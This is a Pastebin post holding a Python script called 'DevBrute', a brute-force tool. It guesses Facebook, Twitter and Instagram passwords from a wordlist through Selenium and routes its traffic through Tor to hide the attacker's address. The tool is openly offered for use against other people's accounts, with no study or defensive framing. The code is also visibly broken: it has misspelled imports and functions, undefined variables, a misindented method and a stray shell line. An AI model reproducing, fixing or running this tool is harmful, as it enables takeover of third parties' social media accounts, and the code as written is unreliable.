mansz81

DevBrute

Oct 7th, 2022 (edited)
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.26 KB | Cybersecurity | 0 0
  1. import argpase, mechanize, os, random, re, sys, time, urllib, urllib2, urlparse, random, string, threading, requests, socket, json, hashlib, base64, signal, subprocess, webbrowser
  2. from time import sleep
  3. from subprocess import call
  4. from selenium import webdriver
  5. from selenium.webdriver.common.keys import keys
  6. from selenium.webdriver.support.ui import WebDriverWait
  7. from pyvirtualdisplay import urlopen
  8. from urllib import urlopen
  9. from urllib2 import urlopen
  10.  
  11. # DevBrute Banner
  12. print """\033[1;37m
  13. _____             ____             _      
  14. |  __ \          |  _ \          | |      
  15. | |  | | _____   _| |_) |_ __ _   _| |_ ___
  16. | |  | |/ _ \ \ / /  _ <| '__| | | | __/ _ \
  17. | |__| |  __/\ V /| |_) | |  | |_| | ||  __/
  18. |_____/ \___| \_/ |____/|_|   \__,_|\__\___|"""
  19.  
  20. url = raw_input('\033[1;34m[?]\033[0m Enter target URL: ') #takes input
  21.  
  22. reload(sys)
  23.  
  24. sys.setdefaultenciding('utf8')
  25.  
  26.  
  27. def main():
  28.     parser = argparse.ArgumentParser(description='BruteForce Framework written by Devprogramming')
  29.     required = parser.add_argument_group('required arguments')
  30.     required.add_argument('-s', '--service', dest='service')
  31.     required.add_argument('-u', '--username', dest='username')
  32.     required.add_argument('-w', '--wordlist', dest='password')
  33.     parser.add_argument('-d', '--delay', type=int, dest='delay')
  34.  
  35.     args = parser.parse_args()
  36.  
  37.     global fb_name, service
  38.  
  39.     service = args.service
  40.     username = args.username
  41.     wordlist = args.password
  42.     delay = args.delay
  43.  
  44.     if os.path.exist(wordlist) == False:
  45.         print(R + "Error : Wordlist Not Found" + W)
  46.         exit(1)
  47.  
  48.     if delay is None:
  49.         delay = 1
  50.     os.system("clear")
  51.  
  52.     if service == "facebook":
  53.         fb_name = raw_input(O + "Please Enter the Name of the Facebook Account :" + W)
  54.         os.system("clear")
  55.  
  56.         #This Restart tor & Removing GeckoDriver Log
  57.         os.system("/etc/init.d/tor restart && rm -rf tmp/ geckodriver.log")
  58.  
  59.  
  60.         Bruter(service, username, wordlist, delay).execute()
  61.  
  62.  
  63. class Bruter(object):
  64.  
  65.  
  66.     def __init__(self, service, username, wordlist, delay):
  67.  
  68.         self.service = service
  69.  
  70.         self.username = username
  71.  
  72.         self.wordlist = wordlist
  73.  
  74.         self.delay = delay
  75.  
  76.  
  77.         def stopTOR(self):   # Stoping Tor
  78.  
  79.         os.system("rm -rf tmp/ geckodriver.log && service tor stop")
  80.  
  81.         exit(1)
  82.  
  83.  
  84.     def execute(self):   # Connection Between def main()
  85.  
  86.         if self.usercheck(self.username, self.service) == 1:
  87.  
  88.             print("[ " + R + "Error" + W + " ]" + " Username Does not Exist\n" + W)
  89.            
  90.             exit(1)
  91.  
  92.         print("[ " + G + "ok" + W + " ]" + " Checking Account Existence\n")
  93.  
  94.         self.webBruteforce(self.username, self.wordlist, self.service, self.delay)
  95.  
  96.  
  97.     def usercheck(self, username, service):          # Checking Username
  98.  
  99.        display = Display(visible=0, size=(800, 600)) # Pyvirtual display starting
  100.        display.start()
  101.  
  102.        driver = webdriver.Firefox()
  103.  
  104.        try:
  105.  
  106.            if service == "facebook":
  107.  
  108.                driver.get("https://www.facebook.com/public/" + fb_name)
  109.  
  110.                assert (("We couldn't find anything for") not in driver.page_source)
  111.  
  112.                driver.quit()
  113.  
  114.                os.system("clear && /etc/init.d/tor restart")
  115.  
  116.            elif service == "twitter":
  117.  
  118.                driver.get("https://www.twitter.com/" + username)
  119.  
  120.                assert (("Sorry, that page doesn’t exist!") not in driver.page_source)
  121.  
  122.                driver.quit()
  123.  
  124.            elif service == "instagram":
  125.  
  126.                driver.get("https://instagram.com/" + username)
  127.  
  128.                assert (("Sorry, this page isn't available.") not in driver.page_source)
  129.  
  130.                driver.quit()
  131.  
  132.        except AssertionError:
  133.  
  134.            return 1
  135.  
  136.  
  137.  
  138.  
  139.     def webBruteforce(self, username, wordlist, service, delay):
  140.  
  141.         print("\n- Bruteforce starting ( Delay = %s sec ) -\n" % self.delay)
  142.  
  143.         driver = webdriver.Firefox()
  144.  
  145.         wordlist = open(wordlist, 'r')
  146.  
  147.         for i in wordlist.readlines():
  148.  
  149.             password = i.strip("\n")
  150.  
  151.             try:              
  152.  
  153.                 driver = webdriver.Firefox()
  154.  
  155.                 if service == "facebook":
  156.  
  157.                     driver.get("https://touch.facebook.com/login?soft=auth/")
  158.  
  159.                     WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
  160.  
  161.                     elem = driver.find_element_by_name("email")
  162.            
  163.                 elif service == "twitter":
  164.  
  165.                     driver.get("https://mobile.twitter.com/session/new")
  166.  
  167.                     WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
  168.  
  169.                     elem = driver.find_element_by_name("session[username_or_email]")
  170.  
  171.                 elif service == "instagram":
  172.  
  173.                     driver.get("https://www.instagram.com/accounts/login/?force_classic_login")
  174.  
  175.                     WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
  176.  
  177.                     elem = driver.find_element_by_name("username")
  178.  
  179.                 elem.clear()
  180.                 elem.send_keys(username)
  181.  
  182.                 if service == "facebook":
  183.  
  184.                     elem = driver.find_element_by_name("pass")
  185.  
  186.                 elif service == "twitter":
  187.  
  188.                     elem = driver.find_element_by_name("session[password]")
  189.  
  190.                 elif service == "instagram":
  191.  
  192.                     elem = driver.find_element_by_name("password")
  193.  
  194.                 elem.clear()
  195.                 elem.send_keys(password)
  196.                 elem.send_keys(Keys.RETURN)
  197.  
  198.  
  199.                 if service == "facebook":
  200.  
  201.                     assert (("Log into Facebook | Facebook") in driver.title)
  202.  
  203.                 elif service == "twitter":
  204.  
  205.                     if driver.current_url == "https://mobile.twitter.com/home":
  206.  
  207.                         print(G + ("  Username: {} \t| Password found: {} \n".format(username,password)) + W)
  208.  
  209.                         driver.quit()
  210.  
  211.                         self.stopTOR()
  212.  
  213.                 elif service == "instagram":
  214.  
  215.                    assert (("Log in — Instagram") in driver.title)
  216.  
  217.  
  218.                 driver.quit()
  219.  
  220.                 my_ip = urlopen("http://ip.42.pl/raw").read()
  221.  
  222.                 socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
  223.                 socket.socket = socks.socksocket
  224.  
  225.                 print(O + ("  Password: {} \t| Failed \t| IP : {} \n ".format(password,my_ip)) + W)
  226.  
  227.                 sleep(delay)
  228.  
  229.             except AssertionError:
  230.            
  231.                 print(G + ("  Username: {} \t| Password found: {}\n".format(username,password)) + W)
  232.  
  233.                 driver.quit()
  234.  
  235.                 self.stopTOR()
  236.  
  237.             except Exception as e:
  238.  
  239.                 print(R + ("\nError : {}".format(e)) + W)
  240.  
  241.                 driver.quit()
  242.  
  243.                 self.stopTOR()
  244.  
  245.  
  246. if __name__ == '__main__':
  247.  
  248.     try:
  249.  
  250.         main()
  251.  
  252.     except KeyboardInterrupt:
  253.  
  254.         print(R + "\nError : Keyboard Interrupt" + W)
  255.  
  256.         os.system("rm -rf tmp/ geckodriver.log && service tor stop")
  257.  
  258.         exit(1)
  259.         python setup.py
  260.  
  261.  
Add Comment
Please, Sign In to add comment